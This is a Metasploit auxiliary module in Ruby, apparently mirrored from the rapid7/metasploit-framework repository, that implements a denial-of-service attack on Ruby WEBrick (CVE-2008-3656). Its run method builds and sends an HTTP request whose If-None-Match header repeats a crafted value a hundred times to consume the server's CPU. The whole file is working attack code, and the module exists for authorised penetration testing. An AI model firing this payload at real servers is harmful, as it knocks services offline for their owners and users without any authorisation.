CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/dos/http/webrick_regex.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Auxiliary
7
include Msf::Exploit::Remote::HttpClient
8
include Msf::Auxiliary::Dos
9
10
def initialize(info = {})
11
super(update_info(info,
12
'Name' => 'Ruby WEBrick::HTTP::DefaultFileHandler DoS',
13
'Description' => %q{
14
The WEBrick::HTTP::DefaultFileHandler in WEBrick in
15
Ruby 1.8.5 and earlier, 1.8.6 to 1.8.6-p286, 1.8.7
16
to 1.8.7-p71, and 1.9 to r18423 allows for a DoS
17
(CPU consumption) via a crafted HTTP request.
18
},
19
'Author' => 'kris katterjohn',
20
'License' => MSF_LICENSE,
21
'References' => [
22
[ 'BID', '30644'],
23
[ 'CVE', '2008-3656'],
24
[ 'OSVDB', '47471' ],
25
[ 'URL', 'http://www.ruby-lang.org/en/news/2008/08/08/multiple-vulnerabilities-in-ruby/']
26
],
27
'DisclosureDate' => '2008-08-08'))
28
29
register_options([
30
OptString.new('URI', [ true, 'URI to request', '/' ])
31
])
32
end
33
34
def run
35
begin
36
o = {
37
'uri' => normalize_uri(datastore['URI']),
38
'headers' => {
39
'If-None-Match' => %q{foo=""} + %q{bar="baz" } * 100
40
}
41
}
42
43
c = connect(o)
44
c.send_request(c.request_raw(o))
45
46
print_status("Request sent to #{rhost}:#{rport}")
47
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
48
print_status("Couldn't connect to #{rhost}:#{rport}")
49
rescue ::Timeout::Error, ::Errno::EPIPE
50
end
51
end
52
end
53
54